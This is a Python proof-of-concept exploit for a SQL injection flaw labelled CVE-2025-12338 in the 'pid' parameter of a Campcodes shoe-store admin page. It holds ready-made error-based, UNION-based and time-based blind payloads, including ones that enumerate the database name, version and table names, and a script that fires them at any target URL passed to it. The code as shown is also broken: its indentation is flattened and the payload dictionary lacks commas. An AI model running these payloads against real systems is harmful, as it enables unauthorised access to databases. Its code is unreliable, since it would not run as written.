import requests
import sys
# CVE-2025-12338 SQL Injection PoC
# Target: Campcodes Retro Basketball Shoes Online Store 1.0
# File: /admin/admin_product.php
# Parameter: pid
def exploit_sqli(target_url, payload):
"""
Exploit SQL injection vulnerability in pid parameter
"""
# Target endpoint
url = f"{target_url}/admin/admin_product.php"
# Test payloads
payloads = {
# Basic detection - single quote causes SQL error
'error_detection': "'"
# Union-based injection to extract database version
'db_version': "' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- "
# Extract current database name
'db_name': "' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- "
# Extract all table names from information_schema
'table_enum': "' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- "
# Time-based blind injection for data extraction
'time_blind': "' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- "
}
params = {
'pid': payloads.get(payload, payloads['error_detection'])
}
print(f"[*] Target: {url}")
print(f"[*] Payload type: {payload}")
print(f"[*] Sending request...")
try:
response = requests.get(url, params=params, timeout=30)
print(f"[*] Status code: {response.status_code}")
print(f"[*] Response length: {len(response.text)}")
# Check for SQL error indicators
if 'sql' in response.text.lower() or 'error' in response.text.lower():
print("[+] SQL error detected - vulnerability confirmed!")
return True
else:
print("[-] No obvious SQL error detected")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://target.com")
sys.exit(1)
target = sys.argv[1].rstrip('/')
print("=" * 50)
print("CVE-2025-12338 SQL Injection Exploit")
print("=" * 50)
# Run exploit
exploit_sqli(target, 'error_detection')